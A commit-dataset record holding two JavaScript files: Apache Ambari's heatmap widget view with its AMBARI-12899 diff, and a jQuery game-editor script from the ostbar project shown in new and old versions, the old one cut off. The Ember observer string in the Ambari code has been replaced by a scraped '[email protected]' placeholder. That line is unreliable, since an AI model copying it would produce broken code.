* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var App = require('app');
App.HeatmapWidgetView = Em.View.extend(App.WidgetMixin, {
templateName: require('templates/common/widget/heatmap_widget'),
/**
* common metrics container
* @type {Array}
*/
metrics: [],
/**
* racks container bound in the template
* @type {Array}
*/
racks: [],
/**
* @type {$.ajax|null}
* @default null
*/
activeRequest: null,
onMetricsLoaded: function () {
if (!this.get('isLoaded')) {
this.set('controller.inputMaximum', this.get('content.properties.max_limit'));
}
this._super();
},
willDestroyElement: function () {
if ($.isPlainObject(this.get('activeRequest'))) {
this.get('activeRequest').abort();
this.set('activeRequest', null);
}
},
getHostComponentsMetrics: function (request) {
var ajax = this._super(request);
this.set('activeRequest', ajax);
return ajax;
},
getHostsMetrics: function (request) {
var ajax = this._super(request);
this.set('activeRequest', ajax);
return ajax;
},
/**
* skip metrics loading if AMBARI METRICS service is not started
*/
loadMetrics: function () {
if (App.Service.find('AMBARI_METRICS').get('isStarted')) {
this._super();
} else {
this.onMetricsLoaded();
}
},
/**
* draw widget
*/
drawWidget: function () {
if (this.get('isLoaded')) {
var hostToValueMap = this.calculateValues();
var hostNames = [];
if (this.get('racks').everyProperty('isLoaded', true)) {
this.get('racks').forEach(function (rack) {
hostNames = hostNames.concat(rack.hosts.mapProperty('hostName'));
});
}
var metricObject = App.MainChartHeatmapMetric.create({
name: this.get('content.displayName'),
units: this.get('content.properties.display_unit'),
maximumValue: this.get('controller.inputMaximum'),
hostNames: hostNames,
hostToValueMap: hostToValueMap
});
this.set('controller.selectedMetric', metricObject);
App.loadTimer.finish('Heatmaps Page');
App.loadTimer.finish('Service Heatmaps Page');
}
}.observes('[email protected]'),
/**
* calculate value for heatmap widgets
*/
calculateValues: function () {
return this.computeExpression(this.extractExpressions(this.get('content.values')[0]), this.get('metrics'));
},
/**
* compute expression
* @param expressions
* @param metrics
* @returns {object}
*/
computeExpression: function (expressions, metrics) {
var hostToValueMap = {};
var hostNames = metrics.mapProperty('hostName');
hostNames.forEach(function (_hostName) {
expressions.forEach(function (_expression) {
var validExpression = true;
//replace values with metrics data
var beforeCompute = _expression.replace(this.get('VALUE_NAME_REGEX'), function (match) {
var _metric;
if (window.isNaN(match)) {
_metric = metrics.filterProperty('name', match).findProperty('hostName', _hostName);
if (_metric) {
return _metric.data;
} else {
validExpression = false;
console.warn('Metrics with name "' + match + '" not found to compute expression');
}
} else {
return match;
}
});
if (validExpression && this.get('MATH_EXPRESSION_REGEX').test(beforeCompute)) {
var value = Number(window.eval(beforeCompute)).toString();
if (value == "NaN") {
value = 0
}
hostToValueMap[_hostName] = value;
} else {
console.error('Value for metric is not correct mathematical expression: ' + beforeCompute);
}
}, this);
}, this);
return hostToValueMap;
}
});
| ambari-web/app/views/common/widget/heatmap_widget_view.js | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var App = require('app');
App.HeatmapWidgetView = Em.View.extend(App.WidgetMixin, {
templateName: require('templates/common/widget/heatmap_widget'),
/**
* common metrics container
* @type {Array}
*/
metrics: [],
/**
* racks container bound in the template
* @type {Array}
*/
racks: [],
onMetricsLoaded: function () {
if (!this.get('isLoaded')) {
this.set('controller.inputMaximum', this.get('content.properties.max_limit'));
}
this._super();
},
/**
* draw widget
*/
drawWidget: function () {
if (this.get('isLoaded')) {
var hostToValueMap = this.calculateValues();
var hostNames = [];
if (this.get('racks').everyProperty('isLoaded', true)) {
this.get('racks').forEach(function (rack) {
hostNames = hostNames.concat(rack.hosts.mapProperty('hostName'));
});
}
var metricObject = App.MainChartHeatmapMetric.create({
name: this.get('content.displayName'),
units: this.get('content.properties.display_unit'),
maximumValue: this.get('controller.inputMaximum'),
hostNames: hostNames,
hostToValueMap: hostToValueMap
});
this.set('controller.selectedMetric', metricObject);
App.loadTimer.finish('Heatmaps Page');
App.loadTimer.finish('Service Heatmaps Page');
}
},
/**
* calculate value for heatmap widgets
*/
calculateValues: function () {
return this.computeExpression(this.extractExpressions(this.get('content.values')[0]), this.get('metrics'));
},
/**
* compute expression
* @param expressions
* @param metrics
* @returns {object}
*/
computeExpression: function (expressions, metrics) {
var hostToValueMap = {};
var hostNames = metrics.mapProperty('hostName');
hostNames.forEach(function (_hostName) {
expressions.forEach(function (_expression) {
var validExpression = true;
//replace values with metrics data
var beforeCompute = _expression.replace(this.get('VALUE_NAME_REGEX'), function (match) {
var _metric;
if (window.isNaN(match)) {
_metric = metrics.filterProperty('name', match).findProperty('hostName', _hostName);
if (_metric) {
return _metric.data;
} else {
validExpression = false;
console.warn('Metrics with name "' + match + '" not found to compute expression');
}
} else {
return match;
}
});
if (validExpression && this.get('MATH_EXPRESSION_REGEX').test(beforeCompute)) {
var value = Number(window.eval(beforeCompute)).toString();
if (value == "NaN") {
value = 0
}
hostToValueMap[_hostName] = value;
} else {
console.error('Value for metric is not correct mathematical expression: ' + beforeCompute);
}
}, this);
}, this);
return hostToValueMap;
}
});
| AMBARI-12899 Heatmaps page request metrics when Ambari Metrics service is absent. (atkach)
| ambari-web/app/views/common/widget/heatmap_widget_view.js | AMBARI-12899 Heatmaps page request metrics when Ambari Metrics service is absent. (atkach) | <ide><path>mbari-web/app/views/common/widget/heatmap_widget_view.js
<ide> */
<ide> racks: [],
<ide>
<add> /**
<add> * @type {$.ajax|null}
<add> * @default null
<add> */
<add> activeRequest: null,
<add>
<ide> onMetricsLoaded: function () {
<ide> if (!this.get('isLoaded')) {
<ide> this.set('controller.inputMaximum', this.get('content.properties.max_limit'));
<ide> }
<ide> this._super();
<add> },
<add>
<add> willDestroyElement: function () {
<add> if ($.isPlainObject(this.get('activeRequest'))) {
<add> this.get('activeRequest').abort();
<add> this.set('activeRequest', null);
<add> }
<add> },
<add>
<add> getHostComponentsMetrics: function (request) {
<add> var ajax = this._super(request);
<add> this.set('activeRequest', ajax);
<add> return ajax;
<add> },
<add>
<add> getHostsMetrics: function (request) {
<add> var ajax = this._super(request);
<add> this.set('activeRequest', ajax);
<add> return ajax;
<add> },
<add>
<add> /**
<add> * skip metrics loading if AMBARI METRICS service is not started
<add> */
<add> loadMetrics: function () {
<add> if (App.Service.find('AMBARI_METRICS').get('isStarted')) {
<add> this._super();
<add> } else {
<add> this.onMetricsLoaded();
<add> }
<ide> },
<ide>
<ide> /**
<ide> App.loadTimer.finish('Heatmaps Page');
<ide> App.loadTimer.finish('Service Heatmaps Page');
<ide> }
<del> },
<add> }.observes('[email protected]'),
<ide>
<ide> /**
<ide> * calculate value for heatmap widgets |
|
JavaScript | mit | d1b87ad30344e261a8744c10ec114629b4398bc4 | 0 | flaket/ostbar,flaket/ostbar,flaket/ostbar | var initialCallsReturned = 0;
var initialCallsShouldReturn = 4;
var currentDialog = null;
var currentObjectList = null;
var currentScene = null;
var sceneList = [];
var sceneTypes = null;
var currentGame = null;
var gameId = 0;
var actionTypes = null;
var elementTypes = null;
var keyboardPresent = false;
function ObjectList(){
this.objectList = [];
}
jQuery(document).ready(function(){
gameId = parseInt(window.location.href.split('/').slice(-1)[0]);
$("#storylineButton").hide();
$(".draggable").tooltip({disabled: true});
$(".schoolbagImage").hide();
getActionTypes();
getElementTypes();
getSceneTypes();
getGame();
keyboardPresent = $( '#keyboardPresent' ).html();
console.log(keyboardPresent);
if ( keyboardPresent ){
console.log('!!! keyboard present !!!');
keyboardPresent = true;
} else {
console.log( '!!! keyboard not present !!!' );
keyboardPresent = false;
}
});
function setupAfterCallsReturns() {
console.log("currentScene:",currentScene);
if ( initialCallsReturned == initialCallsShouldReturn ){
if ( currentScene != null ){
var currentSceneType = currentScene.sceneType;
loadElementsByScene(currentScene.elements);
var imgUrl = currentSceneType.backgroundAvatar.url;
$("#mainFrame").css({
"background-image": "url('"+ imgUrl + "')",
"background-repeat": "no-repeat",
"background-position": "center",
"background-size": "cover"
});
if(keyboardPresent){
createMode();
}
else{
playMode();
}
} else {
choseSceneFromSceneChooser();
}
}
}
function playMode(){
}
function createMode(){
$(".elements").show();
$(".schoolbagImage").show();
$(".draggable").tooltip({disabled: false});
$("#storylineButton").show();
$(".schoolbagImage").on("click", function(){
$(".schoolbagDialog").dialog({
resizable: false,
show: {
effect: "blind",
duration: 500
},
hide: {
effect: "blind",
duration: 500
},
position: {
my: "center center",
at: "center center",
of: "#mainFrame"
},
height: $(window).width()*0.3,
width: $(window).width()*0.5,
});
});
$("#mainFrame").droppable({
accept: ".elements",
drop: function(event, ui){
$("<div></div>").html(ui.draggable.clone()).css({
"position": "absolute",
"top": ui.offset.top,
"left": ui.offset.left
}).appendTo(".draggable").draggable({
containment:"parent"
}).removeClass("ui-draggable").toggleClass("element");
}
});
$(".draggable").on("contextmenu rightclick",".element",function(e){
e.preventDefault();
var target = e.target;
var name = e.target.name;
var parent = target.parentNode.parentNode;
var elementTypeId = e.target.parentNode.id;
if(currentDialog == null){
var dia = new Dialog(target,elementTypeId);
currentDialog = dia;
currentObjectList.objectList.push(dia);
}
else if(currentDialog.div != target){
var index = inList(currentObjectList.objectList,target);
if(index>=0){
currentDialog = currentObjectList.objectList[index];
}
else{
var dia = new Dialog(target,elementTypeId);
currentDialog = dia;
currentObjectList.objectList.push(dia);
console.log("new object");
}
}
console.log(currentScene);
console.log(sceneList);
var previousVersionDialog = $.extend(true,{},currentDialog); // copy
saveElements();
resetCheckBoxes(currentDialog);
var index = inList(currentObjectList.objectList,target);
// a new dialog should me made for each element, and should remember check boxes checked
$(".dialog").dialog({
open: function() { $(".ui-dialog-titlebar-close").hide(); },
title: name,
resizable: false,
appendTo: ".draggable",
show: {
effect: "blind",
duration: 500
},
modal: true,
buttons: {
"Bekreft": function(){
addScene(target,previousVersionDialog,index);
addActivity(target,previousVersionDialog,index);
addDialog(target,previousVersionDialog,index);
addPickUp(target,previousVersionDialog,index);
addAnimation(target,previousVersionDialog,index);
addSound(target,previousVersionDialog,index);
deleteActionTypesWhereChanged(previousVersionDialog);
$(this).dialog("close");
},
"Avbryt": function(){
$(this).dialog("close");
currentObjectList.objectList[index] = previousVersionDialog;
currentDialog = previousVersionDialog;
},
"Slett": function(){
$('input[type=checkbox]').attr('checked', false);
$("#effectTypes").attr("disabled", true);
$("#button").attr("disabled", true);
deleteElementById(currentDialog.element_id);
currentObjectList.objectList.splice(index,1); //removes from the list
$(parent).remove();
$(this).dialog("close");
}
}
});
});
$( "#animationTestButton" ).click(function() {
runAnimationEffect(currentDialog);
return false;
});
}
function choseSceneFromSceneChooser() {
$(".img-grid").on("dblclick", "img", initialDoubleClickSceneAddingFunction);
}
function initialDoubleClickSceneAddingFunction(e){
var sceneTypeId = e.target.getAttribute('name');
var currentSceneType = null;
for ( key in sceneTypes ){
var sceneType = sceneTypes[key];
if ( sceneType.sceneTypeId == sceneTypeId ){
currentSceneType = sceneType;
break;
}
}
if ( currentSceneType != null ){
$.ajax({
type: "POST",
url: "/api/scene",
data: {
game_id: gameId,
scenetype_id: currentSceneType.sceneTypeId,
is_initial_scene: true
},
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
sceneList.push(response);
currentScene = response;
currentScene.objectList = new ObjectList();
currentObjectList = currentScene.objectList;
currentGame.initialSceneId = currentScene.sceneId;
var imgUrl = currentSceneType.backgroundAvatar.url;
$("#mainFrame").css({
"background-image": "url('"+ imgUrl + "')",
"background-repeat": "no-repeat",
"background-position": "center",
"background-size": "cover"
});
$("#newWorldButton").hide();
createMode();
$("#newWorldDialog").dialog("close");
$(".img-grid").off("dblclick", "img", initialDoubleClickSceneAddingFunction);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post scene error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
function addSceneToGame(){
$(".img-grid").on("dblclick", "img", doubleClickSceneAddingFunction);
}
function doubleClickSceneAddingFunction(e){
console.log("getting here");
var sceneTypeId = e.target.getAttribute('name');
var currentSceneType = null;
for ( key in sceneTypes ){
var sceneType = sceneTypes[key];
if ( sceneType.sceneTypeId == sceneTypeId ){
currentSceneType = sceneType;
break;
}
}
if ( currentSceneType != null ){
$.ajax({
type: "POST",
url: "/api/scene",
data: {
game_id: gameId,
scenetype_id: currentSceneType.sceneTypeId,
},
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
var scene = response;
scene.objectList = new ObjectList();
console.log(scene);
sceneList.push(scene);
currentDialog.sceneIndex = response.sceneId;
$(".img-grid").off("dblclick", "img", doubleClickSceneAddingFunction);
addSceneToElement(currentDialog,getActionTypeByName("TO_SCENE"));
$("#newWorldDialog").dialog("close");
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post scene error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
function loadSelectedScene(scene){
currentScene = scene;
currentObjectList = currentScene.objectList;
var currentSceneType = currentScene.sceneType;
var imgUrl = currentSceneType.backgroundAvatar.url;
$("#mainFrame").css({
"background-image": "url('"+ imgUrl + "')",
"background-repeat": "no-repeat",
"background-position": "center",
"background-size": "cover"
});
removeElementsFromView();
getUpdatedElements(function(error,success){
if(error){ console.log("Failed to get Updated Scenes:" + error); return;}
if(success){
loadElementsByScene(currentScene.elements);
}
});
console.log(sceneList);
}
function saveElements(){
//Save call for database
for(var i = 0; i < currentObjectList.objectList.length; i++){
var temp = currentObjectList.objectList[i];
var elemId = temp.element_id;
if (temp.element_id < 0){
$.ajax({
type: "POST",
url: "/api/element/?",
data: {
element_type_id: temp.elementType_id,
frame_x : temp.div.offsetParent.offsetLeft,
frame_y : temp.div.offsetParent.offsetTop,
frame_width: temp.div.offsetParent.offsetWidth,
frame_height : temp.div.offsetParent.offsetHeight,
scene_id: currentScene.sceneId,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("new element: ", response)
temp.element_id = response.elementId;
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post element error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
//update
else{
$.ajax({
type: "POST",
url: "/api/element/" +elemId,
data: {
element_type_id: temp.elementType_id,
frame_x : temp.div.offsetParent.offsetLeft,
frame_y : temp.div.offsetParent.offsetTop,
frame_width: temp.div.offsetParent.offsetWidth,
frame_height : temp.div.offsetParent.offsetHeight,
scene_id: currentScene.sceneId,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("updated element: ",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('update element error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
}
function deleteElementById(elementId){
$.ajax({
type: "DELETE",
url: "/api/element/" +elementId,
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("Deleted element: ",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('update element error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
function loadElementsByScene(elements){
for(element in elements){
var elem = elements[element];
var elementType = getElementTypeById(elem.elementTypeId);
var elementTypeId = elementType.elementTypeId;
var url = elementType.avatar.url;
var name = url.split(".")[0];
name = name.split("/").slice(-1).toString();
$("<div></div>").html("<div class =\"elements ui-draggable\" id=\"" + elementTypeId + "\" style=\"display:block;\">" +
"<img width=\"" + elem.frameWidth + "\" height=\"" + elem.frameHeight +
"\" src=\"" + url +"\"" + "name = \"" + name + "\">" +
"</img></div>")
.css({
"position": "absolute",
"top": elem.frameY,
"left": elem.frameX,
}).appendTo(".draggable").draggable({
containment:"parent"
}).removeClass("ui-draggable").toggleClass("element");
}
var temp = document.getElementsByClassName("element");
// console.log(temp);
if(currentObjectList.objectList.length>0){
currentObjectList.objectList.length = 0;
}
for (var i = 0; i < temp.length ; i++) {
// console.log(temp[i]);
// console.log(temp[i].children[0].children[0]);
var target = temp[i].children[0].children[0];
// console.log("");
var dia = new Dialog(target,elements[i].elementTypeId);
dia.element_id = elements[i].elementId;
dia.elementType_id = elements[i].elementTypeId;
for (var j = 0; j < elements[i].actionTypes.length; j++) {
if(elements[i].actionTypes[j].name.localeCompare("TO_ACTIVITY") == 0){
var activityId = elements[i].actionTypes[j].data;
addActivityByIdToElement(target,dia,activityId,function(error,success){
if(error){ console.log("error thrown" + error); return;}
if(success){
console.log("added existing activity to the element");
}
return;
});
}
if(elements[i].actionTypes[j].name.localeCompare("DIALOG") == 0){
console.log("adding existing dialog to the element");
dia.dialogData = elements[i].actionTypes[j].data;
dia.dialogChecked = true;
$(target).on("click", dialogFunction);
dia.dialogClickActionMade = true;
}
if(elements[i].actionTypes[j].name.localeCompare("ANIMATION") == 0){
console.log("adding the existing animation to the element");
dia.animationIndex = parseInt(elements[i].actionTypes[j].data);
dia.animationChecked = true;
$(target).on("click", animationFunction);
dia.animationClickActionMade = true;
}
if(elements[i].actionTypes[j].name.localeCompare("TO_SCENE") == 0){
console.log("adding the existing scene to the element");
dia.sceneIndex = parseInt(elements[i].actionTypes[j].data);
dia.sceneChecked = true;
$(target).on("click", sceneFunction);
dia.sceneClickActionMade = true;
}
};
currentDialog = dia;
currentObjectList.objectList.push(dia);
};
console.log("current Scene with elements loaded", currentScene);
}
function removeElementsFromView(){
$(".element").remove();
}
function saveActivityByElementId(activityIndex,activityObject,elementID){
//Create
if(activityObject.activity_id<0){
if(activityIndex == 0){
$.ajax({
type: "POST",
url: "/api/activity/",
data: {
activity_type: "MATH",
element_id: elementID,
numbers_range_from: activityObject.lowestNumber,
numbers_range_to: activityObject.highestNumber,
n_operands: activityObject.operandsCount,
operators: getActiveOperators(activityObject),
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log(response);
activityObject.activity_id = response.activityId;
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, "", textStatus, "", errorThrown);
},
dataType: "json"
});
}
else if(activityIndex == 2){
$.ajax({
type: "POST",
url: "/api/activity/",
data: {
questions: activityObject.questions,
activity_type: "QUIZ",
element_id: elementID,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
//console.log(response);
activityObject.activity_id = response.activityId;
console.log(response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
//Update
else{
if(activityIndex == 0){
$.ajax({
type: "POST",
url: "/api/activity/" + activityObject.activity_id,
data: {
activity_type: "MATH",
element_id: elementID,
numbers_range_from: activityObject.lowestNumber,
numbers_range_to: activityObject.highestNumber,
n_operands: activityObject.operandsCount,
operators: getActiveOperators(activityObject),
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log(response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, "", textStatus, "", errorThrown);
},
dataType: "json"
});
}
else if(activityIndex == 2){
$.ajax({
type: "POST",
url: "/api/activity/" + activityObject.activity_id,
data: {
questions: activityObject.questions,
activity_type: "QUIZ",
element_id: elementID,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
//console.log(response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post activity error:', jqXHR, textStatus, errorThrown);
},
dataType: "json"
});
}
}
}
function addActivityByIdToElement(target,dialogObject,activityID,callBack){
$.ajax({
type: "GET",
url: "/api/activity/" + activityID,
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
var error = response.error;
if(response.activityType.localeCompare("MATH") == 0){
var mathObject = new MathActivity(response);
dialogObject.activityObject = mathObject;
dialogObject.activityIndex = 0;
dialogObject.activityChecked = true;
console.log("math load");
$(target).on("click", mathActivityFunction);
dialogObject.activityClickActionMade = true;
return callBack(error,true);}
//TODO
if(response.activityType.localeCompare("LANGUAGE") == 0){
dialogObject.activityObject = null; //create new language object based on database stored object and attach
dialogObject.activityIndex = 1;
dialogObject.activityChecked = true;
console.log("lang load");
$(target).on("click", languageActivityFunction);
dialogObject.activityClickActionMade = true;
return callBack(error,true);
}
//TODO
if(response.activityType.localeCompare("QUIZ") == 0){
dialogObject.activityObject = new QuizActivity(response);
dialogObject.activityIndex = 2;
dialogObject.activityChecked = true;
console.log("quiz load");
$(target).on("click", quizActivityFunction);
dialogObject.activityClickActionMade = true;
return callBack(error,true);
}
else{
return callBack(error,false);
}
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get activity error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function deleteActivityByIdFromElement(elementID,activityID){
$.ajax({
type: "DELETE",
url: "/api/activity/" + activityID,
data:{
element_id: elementID,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("Deleted Activity", response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('delete activity error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function addDialogDataToElement(dialogObject,actionType){
$.ajax({
type: "POST",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
data: dialogObject.dialogData,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("added dialog action to Element",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post dialog error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function addAnimationToElement(dialogObject,actionType){
$.ajax({
type: "POST",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
data: dialogObject.animationIndex,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("added Animation action to Element",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post animation error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function addSceneToElement(dialogObject,actionType){
$.ajax({
type: "POST",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
data: dialogObject.sceneIndex,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("added Scene action to Element",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('post scene error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function deleteActionTypeFromElement(dialogObject,actionType){
$.ajax({
type: "DELETE",
url: "/api/element/" + dialogObject.element_id + "/actiontype/",
data:{
actiontype_id: actionType.actionTypeId,
},
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("Deleted action",response);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('Delete actionType error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function getActionTypes(){
$.ajax({
type: "GET",
url: "/api/actiontype",
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("ActionTypes",response);
actionTypes = response;
}
initialCallsReturned++;
setupAfterCallsReturns();
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get activityType error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function getElementTypes(){
$.ajax({
type: "GET",
url: "/api/elementtype",
success: function (response) {
if ( response.redirect ){
window.location.href = response.redirect;
} else {
console.log("ElementTypes",response);
elementTypes = response;
}
initialCallsReturned++;
setupAfterCallsReturns();
loadElementTypesIntoSideBar();
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get elementType error:', jqXHR, "", textStatus, "", errorThrown);
},
});
}
function getActionTypeByName(nameString){
for (var i = 0; i < actionTypes.length; i++) {
if(actionTypes[i].name.localeCompare(nameString) == 0)
return actionTypes[i];
};
}
function getElementTypeById(elementTypeId){
for (key in elementTypes){
if(elementTypes[key].elementTypeId == elementTypeId){
return elementTypes[key];
}
}
}
function getSceneTypes(){
$.ajax({
type: "GET",
url: "/api/scenetype",
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
sceneTypes = response;
var newWorldDialog = $("#newWorldDialog"),
imageGrid = newWorldDialog.find('.img-grid');
var html = '';
for ( key in response ){
var scenetype = response[key];
var div = '<div class="img-wrapper img-wrapper1"><div class="img-container">';
div += '<img name="' + scenetype.sceneTypeId + '" src="' + scenetype.backgroundAvatar.url + '" width ="200" height="200">';
div += '</div></div>';
html += div;
}
imageGrid.html(html);
}
initialCallsReturned++;
setupAfterCallsReturns();
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get scenetype error:', textStatus, errorThrown);
},
dataType: "json"
});
}
function getGame(){
$.ajax({
type: "GET",
url: '/api/game/' + gameId,
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
currentGame = response;
if ( currentGame.scenes.length == 0){
$("#newWorldButton").show();
} else {
$("#newWorldButton").hide();
if (currentGame.initialSceneId != null){
for ( key in currentGame.scenes ){
var scene = currentGame.scenes[key];
scene.objectList = new ObjectList();
sceneList.push(scene);
if ( scene.sceneId == currentGame.initialSceneId ){
currentScene = scene;
currentObjectList = currentScene.objectList;
}
}
}
}
initialCallsReturned++;
setupAfterCallsReturns();
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get game error:', textStatus, errorThrown);
}
});
}
function getUpdatedElements(callBack){
$.ajax({
type: "GET",
url: '/api/game/' + gameId,
success: function ( response ){
if ( response.redirect ){
window.location.href = response.redirect;
} else {
var error = response.error;
currentGame = response;
for ( key in currentGame.scenes ){
sceneList[key].elements.length = 0;
var scene = currentGame.scenes[key];
sceneList[key].elements = scene.elements;
}
console.log(sceneList);
return callBack(error,true);
}
},
error: function ( jqXHR, textStatus, errorThrown ){
console.log('get game error:', textStatus, errorThrown);
return callBack(error,false);
}
});
}
function getSceneById(sceneId){
for (var i = 0; i < sceneList.length; i++) {
if(sceneList[i].sceneId == sceneId)
return sceneList[i];
};
}
function loadElementTypesIntoSideBar(){
var sidebar = $("#customSidebar");
var html = '';
for (var i = 0; i < elementTypes.length; i++) {
var elementTypeId = elementTypes[i].elementTypeId;
var url = elementTypes[i].avatar.url;
var name = elementTypes[i].avatar.url;
name = name.split(".")[0];
name = name.split("/").slice(-1).toString();
// console.log(name);
var div = '<div class="elements" id="'+elementTypeId+'">';
div += '<img name="' + name + '" src="' + url + '" width ="100" height="150">';
div += '</div>';
html += div;
};
sidebar.html(html);
$(".elements").hide();
$(".elements").draggable({
revert:"invalid",
helper:"clone",
cursor:"move",
containment:"document",
connectWith: "#mainFrame",
});
} | server/public/js/elementInteraction.js | var initialCallsReturned = 0;
var initialCallsShouldReturn = 4;
var currentDialog = null;
var currentObjectList = null;
var currentScene = null;
var sceneList = [];
var sceneTypes = null;
var currentGame = null;
var gameId = 0;
var actionTypes = null;
var elementTypes = null;
function ObjectList(){
this.objectList = [];
}
jQuery(document).ready(function(){
gameId = parseInt(window.location.href.split('/').slice(-1)[0]);
$("#storylineButton").hide();
$(".draggable").tooltip({disabled: true});
$(".schoolbagImage").hide();
$(".schoolbagImage").on("click", function(){
$(".schoolbagDialog").dialog({
resizable: false,
show: {
effect: "blind",
duration: 500
},
hide: {
effect: "blind",
duration: 500
},
position: {
my: "center center",
at: "center center",
of: "#mainFrame"
},
height: $(window).width()*0.3,
width: $(window).width()*0.5,
});
});
$("#mainFrame").droppable({
accept: ".elements",
drop: function(event, ui){
$("<div></div>").html(ui.draggable.clone()).css({
"position": "absolute",
"top": ui.offset.top,
"left": ui.offset.left
}).appendTo(".draggable").draggable({
containment:"parent"
}).removeClass("ui-draggable").toggleClass("element");
}
});
$(".draggable").on("contextmenu rightclick",".element",function(e){
e.preventDefault();
var target = e.target;
var name = e.target.name;
var parent = target.parentNode.parentNode;
var elementTypeId = e.target.parentNode.id;
if(currentDialog == null){
var dia = new Dialog(target,elementTypeId);
currentDialog = dia;
currentObjectList.objectList.push(dia);
}
else if(currentDialog.div != target){
var index = inList(currentObjectList.objectList,target);
if(index>=0){
currentDialog = currentObjectList.objectList[index];
}
else{
var dia = new Dialog(target,elementTypeId);
currentDialog = dia;
currentObjectList.objectList.push(dia);
console.log("new object");
}
}
console.log(currentScene);
console.log(sceneList);
var previousVersionDialog = $.extend(true,{},currentDialog); // copy
saveElements();
resetCheckBoxes(currentDialog);
var index = inList(currentObjectList.objectList,target);
// a new dialog should me made for each element, and should remember check boxes checked
$(".dialog").dialog({
open: function() { $(".ui-dialog-titlebar-close").hide(); },
title: name,
resizable: false,
appendTo: ".draggable",
show: {
effect: "blind",
duration: 500
},
modal: true,
buttons: {
"Bekreft": function(){
addScene(target,previousVersionDialog,index);
addActivity(target,previousVersionDialog,index);
addDialog(target,previousVersionDialog,index);
addPickUp(target,previousVersionDialog,index);
addAnimation(target,previousVersionDialog,index);
addSound(target,previousVersionDialog,index);
deleteActionTypesWhereChanged(previousVersionDialog);
$(this).dialog("close");
},
"Avbryt": function(){
$(this).dialog("close");
currentObjectList.objectList[index] = previousVersionDialog;
currentDialog = previousVersionDialog;
},
"Slett": function(){
$('input[type=checkbox]').attr('checked', false);
$("#effectTypes").attr("disabled", true);
$("#button").attr("disabled", true);
deleteElementById(currentDialog.element_id);
currentObjectList.objectList.splice(index,1); //removes from the list
$(parent).remove();
$(this).dialog("close");
}
}
});
});
$( "#animationTestButton" ).click(function() {
runAnimationEffect(currentDialog);
return false;
});
getActionTypes();
getElementTypes();
getSceneTypes();
getGame();
var keyboardPresent = $( '#keyboardPresent' ).html();
console.log(keyboardPresent);
if ( keyboardPresent ){
console.log('!!! keyboard present !!!');
